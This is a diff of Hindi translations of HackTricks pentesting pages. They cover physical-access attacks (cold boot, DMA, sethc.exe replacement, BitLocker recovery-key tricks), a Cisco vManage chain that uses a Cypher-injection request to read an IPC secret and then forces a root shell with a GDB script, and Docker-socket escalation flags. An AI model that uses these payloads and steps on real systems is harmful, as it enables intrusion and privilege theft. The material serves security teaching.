आधुनिक सिस्टम के लिए जो पारंपरिक BIOS के बजाय **UEFI** का उपयोग करते हैं, **chipsec** उपकरण का उपयोग UEFI सेटिंग्स का विश्लेषण और संशोधन करने के लिए किया जा सकता है, जिसमें **Secure Boot** को अक्षम करना शामिल है। इसे निम्नलिखित कमांड के साथ पूरा किया जा सकता है:
`python chipsec_main.py -module exploits.secure.boot.pk`
### RAM विश्लेषण और कोल्ड बूट हमले
### RAM Analysis and Cold Boot Attacks
RAM डेटा को बंद करने के बाद संक्षेप में रखती है, सामान्यत: **1 से 2 मिनट** के लिए। यह स्थिरता को बढ़ाया जा सकता है **10 मिनट** तक कोल्ड पदार्थों जैसे कि तरल नाइट्रोजन लगाकर। इस विस्तारित अवधि के दौरान, उपकरणों जैसे **dd.exe** और **volatility** का उपयोग करके **मेमोरी डंप** बनाया जा सकता है विश्लेषण के लिए
RAM डेटा को पावर कटने के बाद थोड़े समय के लिए बनाए रखता है, आमतौर पर **1 से 2 मिनट**। इस स्थिरता को ठंडी सामग्री, जैसे तरल नाइट्रोजन, लगाकर **10 मिनट** तक बढ़ाया जा सकता है। इस विस्तारित अवधि के दौरान, **मेमोरी डंप** बनाया जा सकता है जिसका विश्लेषण करने के लिए **dd.exe** और **volatility** जैसे उपकरणों का उपयोग किया जा सकता है
### सीधा मेमोरी एक्सेस (DMA) हमले
### Direct Memory Access (DMA) Attacks
**INCEPTION** एक उपकरण है जो DMA के माध्यम से **भौतिक मेमोरी परिवर्तन** के लिए डिज़ाइन किया गया है, जो इंटरफेस जैसे कि **FireWire** और **Thunderbolt** के साथ संगत है। यह किसी भी पासवर्ड को स्वीकार करने के लिए मेमोरी को पैच करके लॉगिन प्रक्रिया को छलकने की अनुमति देता है। हालांकि, यह **Windows 10** सिस्टमों के खिलाफ असरकारी नहीं है।
**INCEPTION** एक उपकरण है जो **DMA** के माध्यम से **भौतिक मेमोरी हेरफेर** के लिए डिज़ाइन किया गया है, जो **FireWire** और **Thunderbolt** जैसी इंटरफेस के साथ संगत है। यह किसी भी पासवर्ड को स्वीकार करने के लिए मेमोरी को पैच करके लॉगिन प्रक्रियाओं को बायपास करने की अनुमति देता है। हालाँकि, यह **Windows 10** सिस्टम के खिलाफ प्रभावी नहीं है।
### सिस्टम एक्स
### Live CD/USB for System Access
**_sethc.exe_** या **_Utilman.exe_** जैसे सिस्टम बाइनरी को **_cmd.exe_** की एक प्रति के साथ बदलने से सिस्टम विशेषाधिकारों के साथ एक कमांड प्रॉम्प्ट प्राप्त किया जा सकता है। **chntpw** जैसे उपकरणों का उपयोग Windows इंस्टॉलेशन की **SAM** फ़ाइल को संपादित करने के लिए किया जा सकता है, जिससे पासवर्ड परिवर्तन की अनुमति मिलती है।
**Kon-Boot** एक उपकरण है जो बिना पासवर्ड जाने Windows सिस्टम में लॉगिन करने की सुविधा प्रदान करता है, जो अस्थायी रूप से Windows कर्नेल या UEFI को संशोधित करता है। अधिक जानकारी [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) पर मिल सकती है।
### Handling Windows Security Features
#### Boot and Recovery Shortcuts
- **Supr**: BIOS सेटिंग्स तक पहुंचें।
- **F8**: रिकवरी मोड में प्रवेश करें।
- Windows बैनर के बाद **Shift** दबाने से ऑटो लॉगिन बायपास हो सकता है।
#### BAD USB Devices
**Rubber Ducky** और **Teensyduino** जैसे उपकरण **bad USB** उपकरण बनाने के लिए प्लेटफार्मों के रूप में कार्य करते हैं, जो लक्षित कंप्यूटर से जुड़े होने पर पूर्वनिर्धारित पेलोड को निष्पादित करने में सक्षम होते हैं।
#### Volume Shadow Copy
व्यवस्थापक विशेषाधिकार संवेदनशील फ़ाइलों की प्रतियों को बनाने की अनुमति देते हैं, जिसमें PowerShell के माध्यम से **SAM** फ़ाइल शामिल है।
### Bypassing BitLocker Encryption
यदि **recovery password** एक मेमोरी डंप फ़ाइल (**MEMORY.DMP**) में पाया जाता है, तो BitLocker एन्क्रिप्शन को संभावित रूप से बायपास किया जा सकता है। इस उद्देश्य के लिए **Elcomsoft Forensic Disk Decryptor** या **Passware Kit Forensic** जैसे उपकरणों का उपयोग किया जा सकता है।
### Social Engineering for Recovery Key Addition
एक नया BitLocker रिकवरी कुंजी सामाजिक इंजीनियरिंग तकनीकों के माध्यम से जोड़ी जा सकती है, एक उपयोगकर्ता को एक कमांड निष्पादित करने के लिए मनाकर जो शून्य से बनी एक नई रिकवरी कुंजी जोड़ता है, जिससे डिक्रिप्शन प्रक्रिया को सरल बनाया जा सके।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# सिस्को - vmanage
# Cisco - vmanage
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करना चाहते हैं? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## पथ 1
## Path 1
(उदाहरण [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
थोड़ी खोज के बाद कुछ [दस्तावेज़](http://66.218.245.39/doc/html/rn03re18.html) से जुड़े `confd` और विभिन्न बाइनरी (सिस्को वेबसाइट पर खाता होने पर पहुंचने योग्य) के माध्यम से हमने पाया कि IPC सॉकेट को प्रमाणित करने के लिए, यह `/etc/confd/confd_ipc_secret` में स्थित एक गुप्त उपयोग करता है:
कुछ [दस्तावेज़ीकरण](http://66.218.245.39/doc/html/rn03re18.html) के माध्यम से थोड़ी खुदाई करने के बाद जो `confd` और विभिन्न बाइनरी से संबंधित है (जो कि Cisco वेबसाइट पर एक खाते के साथ सुलभ हैं), हमने पाया कि IPC सॉकेट को प्रमाणित करने के लिए, यह `/etc/confd/confd_ipc_secret` में स्थित एक गुप्त का उपयोग करता है:
```
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
```
याद है हमारा Neo4j इंस्टेंस? यह `vmanage` उपयोगकर्ता की अनुमतियों के तहत चल रहा है, इसलिए हमें पिछली कमजोरी का उपयोग करके फ़ाइल प्राप्त करने की अनुमति है:
क्या आपको हमारी Neo4j इंस्टेंस याद है? यह `vmanage` उपयोगकर्ता के विशेषाधिकारों के तहत चल रही है, जिससे हमें पिछले कमजोरियों का उपयोग करके फ़ाइल प्राप्त करने की अनुमति मिलती है:
```
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
@ -34,9 +37,7 @@ Host: vmanage-XXXXXX.viptela.net
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
```
```
`confd_cli` प्रोग्राम कमांड लाइन आर्ग्यूमेंट का समर्थन नहीं करता है लेकिन `/usr/bin/confd_cli_user` को आर्ग्यूमेंट के साथ बुलाता है। इसलिए, हम अपने खुद के सेट ऑफ आर्ग्यूमेंट के साथ सीधे `/usr/bin/confd_cli_user` को बुला सकते हैं। हालांकि यह हमारी वर्तमान विशेषाधिकारों के साथ पठनीय नहीं है, इसलिए हमें रूटएफएस से इसे पुनः प्राप्त करना होगा और scp का उपयोग करके कॉपी करना होगा, मदद पढ़ना होगा, और इसका उपयोग करके शैल को प्राप्त करना होगा:
```
`confd_cli` प्रोग्राम कमांड लाइन तर्कों का समर्थन नहीं करता है लेकिन `/usr/bin/confd_cli_user` को तर्कों के साथ कॉल करता है। इसलिए, हम सीधे `/usr/bin/confd_cli_user` को अपने तर्कों के सेट के साथ कॉल कर सकते हैं। हालाँकि, यह हमारे वर्तमान विशेषाधिकारों के साथ पढ़ने योग्य नहीं है, इसलिए हमें इसे rootfs से प्राप्त करना होगा और इसे scp का उपयोग करके कॉपी करना होगा, मदद पढ़नी होगी, और इसका उपयोग शेल प्राप्त करने के लिए करना होगा:
```
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
@ -54,13 +55,13 @@ vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
```
## मार्ग 2
## Path 2
(उदाहरण [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
साइनैक्टिव टीम द्वारा लिखी गई ब्लॉग¹ में एक शानदार तरीका वर्णित किया गया था जिससे रूट शैल मिल सकता है, लेकिन एक सावधानी है कि यह `/usr/bin/confd_cli_user` की प्रतिलिपि प्राप्त करना आवश्यक है जो केवल रूट द्वारा पढ़ा जा सकता है। मैंने इस तरह से रूट तक उन्नति करने का एक और तरीका खोजा।
synacktiv टीम द्वारा लिखे गए ब्लॉग¹ में एक रूट शेल प्राप्त करने का एक सुंदर तरीका बताया गया है, लेकिन समस्या यह है कि इसके लिए `/usr/bin/confd_cli_user` की एक प्रति प्राप्त करनी होती है, जो केवल रूट द्वारा पढ़ी जा सकती है। मैंने बिना किसी परेशानी के रूट तक पहुंचने का एक और तरीका पाया।
जब मैंने `/usr/bin/confd_cli` बाइनरी को disassemble किया, तो मैंने निम्नलिखित का अवलोकन किया:
जब मैंने `/usr/bin/confd_cli` बाइनरी को असेंबल किया, तो मैंने निम्नलिखित देखा:
```
vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
@ -89,20 +90,20 @@ vmanage:~$ objdump -d /usr/bin/confd_cli
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …
```
जब मैं "ps aux" चलाता हूँ, तो मैंने निम्नलिखित देखा (_नोट -g 100 -u 107_)
जब मैं "ps aux" चलाता हूँ, मैंने निम्नलिखित देखा (_note -g 100 -u 107_)
```
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
```
मैंने अनुमान लगाया कि "confd\_cli" कार्यक्रम उपयोगकर्ता आईडी और समूह आईडी को "cmdptywrapper" एप्लिकेशन को पास करता है जो उपयोगकर्ता से एकत्रित किया गया था
मैंने अनुमान लगाया कि “confd\_cli” प्रोग्राम लॉग इन किए गए उपयोगकर्ता से एकत्रित उपयोगकर्ता आईडी और समूह आईडी को “cmdptywrapper” एप्लिकेशन को पास करता है।
मेरा पहला प्रयास "cmdptywrapper" को सीधे चलाना और इसे `-g 0 -u 0` के साथ प्रदान करना था, लेकिन यह विफल हुआ। ऐसा लगता है कि किसी जगह एक फ़ाइल डिस्क्रिप्टर (-i 1015) बनाया गया था और मैं इसे फर्जी नहीं कर सकता।
मेरा पहला प्रयास “cmdptywrapper” को सीधे चलाने का था और इसे `-g 0 -u 0` प्रदान करने का था, लेकिन यह विफल हो गया। ऐसा लगता है कि कहीं न कहीं एक फ़ाइल डिस्क्रिप्टर (-i 1015) बनाया गया था और मैं इसे नकली नहीं बना सकता।
Synacktiv के ब्लॉग (अंतिम उदाहरण में) में उल्लिखित तरह, `confd_cli` कार्यक्रम कमांड लाइन तर्क का समर्थन नहीं करता है, लेकिन मैं इसे डीबगर के साथ प्रभावित कर सकता हूँ और भाग्य से GDB सिस्टम पर शामिल है।
जैसा कि synacktiv के ब्लॉग में उल्लेख किया गया है (अंतिम उदाहरण), `confd_cli` प्रोग्राम कमांड लाइन तर्क का समर्थन नहीं करता है, लेकिन मैं इसे एक डिबगर के साथ प्रभावित कर सकता हूं और सौभाग्य से GDB सिस्टम पर शामिल है।
मैंने एक GDB स्क्रिप्ट बनाया जहाँ मैंने API `getuid` और `getgid` को 0 लौटाने के लिए बाध्य किया। क्योंकि मेरे पास पहले से ही "vmanage" विशेषाधिकार हैं जिसके माध्यम से मैं सीधे `/etc/confd/confd_ipc_secret` को पढ़ने की अनुमति है।
मैंने एक GDB स्क्रिप्ट बनाई जहां मैंने API `getuid` और `getgid` को 0 लौटाने के लिए मजबूर किया। चूंकि मेरे पास पहले से ही deserialization RCE के माध्यम से “vmanage” विशेषाधिकार है, मुझे सीधे `/etc/confd/confd_ipc_secret` पढ़ने की अनुमति है।
root.gdb:
```
@ -156,14 +157,17 @@ root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
```
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,28 +1,33 @@
# Docker Socket का दुरुपयोग करके Privilege Escalation
# Docker सॉकेट का दुरुपयोग करके विशेषाधिकार वृद्धि
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें ट्विटर पर फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
कुछ अवसरों पर आपके पास केवल **docker socket तक पहुंच** होती है और आप इसका उपयोग **privileges बढ़ाने** के लिए करना चाहते हैं। कुछ क्रियाएं बहुत संदिग्ध हो सकती हैं और आप उनसे बचना चाह सकते हैं, इसलिए यहां आपको विभिन्न फ्लैग्स मिलेंगे जो privileges बढ़ाने के लिए उपयोगी हो सकते हैं:
कुछ अवसर होते हैं जब आपके पास **डॉकर सॉकेट तक पहुंच** होती है और आप इसका उपयोग **विशेषाधिकार बढ़ाने** के लिए करना चाहते हैं। कुछ क्रियाए बहुत संदिग्ध हो सकती हैं और आप उनसे बचना चाह सकते हैं, इसलिए यहाँ विभिन्न फ्लैग्स हैं जो विशेषाधिकार बढ़ाने में सहायक हो सकते हैं:
### माउंट के माध्यम से
आप **filesystem** के विभिन्न भागों को रूट के रूप में चल रहे कंटेनर में **माउंट** कर सकते हैं और उन्हें **एक्सेस** कर सकते हैं।\
आप कंटेनर के अंदर privileges बढ़ाने के लिए माउंट का भी **दुरुपयोग** कर सकते हैं।
आप एक कंटेनर में **फाइल सिस्टम** के विभिन्न भागों को रूट के रूप में **माउंट** कर सकते हैं और उन्हें **एक्सेस** कर सकते हैं।\
आप कंटेनर के अंदर विशेषाधिकार बढ़ाने के लिए **माउंट का दुरुपयोग** भी कर सकते हैं।
* **`-v /:/host`** -> होस्ट filesystem को कंटेनर में माउंट करें ताकि आप होस्ट filesystem को **पढ़ सकें।**
* यदि आप कंटेनर में होते हुए भी होस्ट की तरह महसूस करना चाहते हैं तो आप निम्नलिखित फ्लैग्स का उपयोग करके अन्य रक्षा तंत्रों को अक्षम कर सकते हैं:
* **`-v /:/host`** -> होस्ट फाइल सिस्टम को कंटेनर में माउंट करें ताकि आप **होस्ट फाइल सिस्टम पढ़ सकें।**
* यदि आप **महसूस करना चाहते हैं कि आप होस्ट में हैं** लेकिन कंटेनर में हैं, तो आप फ्लैग्स का उपयोग करके अन्य रक्षा तंत्रों को अक्षम कर सकते हैं जैसे:
* `--privileged`
* `--cap-add=ALL`
* `--security-opt apparmor=unconfined`
@ -32,41 +37,46 @@ HackTricks का समर्थन करने के अन्य तरी
* `--userns=host`
* `--uts=host`
* `--cgroupns=host`
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> यह पिछली विधि के समान है, लेकिन यहां हम **डिवाइस डिस्क को माउंट** कर रहे हैं। फिर, कंटेनर के अंदर `mount /dev/sda1 /mnt` चलाएं और आप `/mnt` में **होस्ट filesystem** को **एक्सेस** कर सकते हैं
* माउंट करने के लिए `</dev/sda1>` डिवाइस खोजने के लिए होस्ट में `fdisk -l` चलाएं
* **`-v /tmp:/host`** -> यदि किसी कारण से आप **केवल कुछ निर्देशिका** को होस्ट से माउंट कर सकते हैं और आपके पास होस्ट के अंदर एक्सेस है। इसे माउंट करें और माउंट की गई निर्देशिका में **suid** के साथ एक **`/bin/bash`** बनाएं ताकि आप इसे होस्ट से चला सकें और रूट तक एस्केलेट कर सकें
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> यह पिछले तरीके के समान है, लेकिन यहाँ हम **डिवाइस डिस्क** को **माउंट** कर रहे हैं। फिर, कंटेनर के अंदर `mount /dev/sda1 /mnt` चलाएँ और आप **/mnt** में **होस्ट फाइल सिस्टम** को **एक्सेस** कर सकते हैं
* होस्ट में `fdisk -l` चलाएँ ताकि `</dev/sda1>` डिवाइस को माउंट किया जा सके।
* **`-v /tmp:/host`** -> यदि किसी कारणवश आप **केवल कुछ निर्देशिका** को होस्ट से माउंट कर सकते हैं और आपके पास होस्ट के अंदर पहुंच है। इसे माउंट करें और माउंट की गई निर्देशिका में **suid** के साथ एक **`/bin/bash`** बनाएं ताकि आप **इसे होस्ट से निष्पादित कर सकें और रूट तक बढ़ा सकें**
{% hint style="info" %}
ध्यान दें कि शायद आप `/tmp` फोल्डर को माउंट नहीं कर सकते हैं लेकिन आप एक **अलग लिखने योग्य फोल्डर** को माउंट कर सकते हैं। लिखने योग्य निर्देशिकाओं को खोजने के लिए आप उपयोग कर सकते हैं: `find / -writable -type d 2>/dev/null`
ध्यान दें कि शायद आप `/tmp`ोल्डर को माउंट नहीं कर सकते लेकिन आप एक **विभिन्न लिखने योग्य फ़ोल्डर** को माउंट कर सकते हैं। आप लिखने योग्य निर्देशिकाएँ खोजने के लिए: `find / -writable -type d 2>/dev/null` का उपयोग कर सकते हैं।
**ध्यान दें कि लिनक्स मशीन की सभी निर्देशिकाएं suid बिट का समर्थन नहीं करेंगी!** suid बिट का समर्थन करने वाली निर्देशिकाओं की जांच करने के लिए `mount | grep -v "nosuid"` चलाएं। उदाहरण के लिए आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं।
**ध्यान दें कि सभी निर्देशिकाएँ लिनक्स मशीन में suid बिट का समर्थन नहीं करेंगी!** यह जांचने के लिए कि कौन सी निर्देशिकाएँ suid बिट का समर्थन करती हैं, `mount | grep -v "nosuid"` चलाएँ। उदाहरण के लिए आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं।
यह भी ध्यान दें कि यदि आप **`/etc`** या किसी अन्य फोल्डर को माउंट कर सकते हैं जिसमें कॉन्फ़िगरेशन फाइलें होती हैं, तो आप उन्हें डॉकर कंटेनर से रूट के रूप में बदल सकते हैं ताकि होस्ट में उनका **दुरुपयोग** करके privileges बढ़ा सकें (शायद `/etc/shadow` में संशोधन करके)
यह भी ध्यान दें कि यदि आप **`/etc`** या किसी अन्य फ़ोल्डर को **कॉन्फ़िगरेशन फ़ाइलों** के साथ **माउंट** कर सकते हैं, तो आप उन्हें रूट के रूप में डॉकर कंटेनर से बदल सकते हैं ताकि आप **होस्ट में उनका दुरुपयोग कर सकें** और विशेषाधिकार बढ़ा सकें (शायद `/etc/shadow` को संशोधित करके)।
{% endhint %}
### कंटेनर से बचना
### कंटेनर से भागना
* **`--privileged`** -> इस फ्लैग के साथ आप [कंटेनर से सभी अलगाव को हटा देते हैं](docker-privileged.md#what-affects)। रूट के रूप में privileged कंटेनर से बचने की तकनीकों की जांच करें [docker-breakout-privilege-escalation/#automatic-enumeration-and-escape](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)।
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [capabilities का दुरुपयोग करके एस्केलेट करने](../linux-capabilities.md) के लिए, **कंटेनर को वह क्षमता प्रदान करें** और अन्य सुरक्षा विधियों को अक्षम करें जो एक्सप्लॉइट को काम करने से रोक सकते हैं।
* **`--privileged`** -> इस फ्लैग के साथ आप [कंटेनर से सभी अलगाव हटा देते हैं](docker-privileged.md#what-affects)। रूट के रूप में [विशेषाधिकार प्राप्त कंटेनरों से भागने की तकनीकों](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape) की जांच करें
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [क्षमताओं का दुरुपयोग करके विशेषाधिकार बढ़ाने के लिए](../linux-capabilities.md), **उस क्षमता को कंटेनर को दें** और अन्य सुरक्षा विधियों को अक्षम करें जो शोषण को काम करने से रोक सकती हैं।
### Curl
### कर्ल
इस पृष्ठ पर हमने docker फ्लैग्स का उपयोग करके privileges बढ़ाने के तरीकों पर चर्चा की है, आप इन तरीकों का दुरुपयोग करने के **तरीके curl** कमांड का उपयोग करके पृष्ठ में पा सकते हैं:
इस पृष्ठ पर हमने डॉकर फ्लैग्स का उपयोग करके विशेषाधिकार बढ़ाने के तरीकों पर चर्चा की है, आप पृष्ठ में **कर्ल** कमांड का उपयोग करके इन तरीकों का दुरुपयोग करने के **तरीके** पा सकते हैं:
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
{% endcontent-ref %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
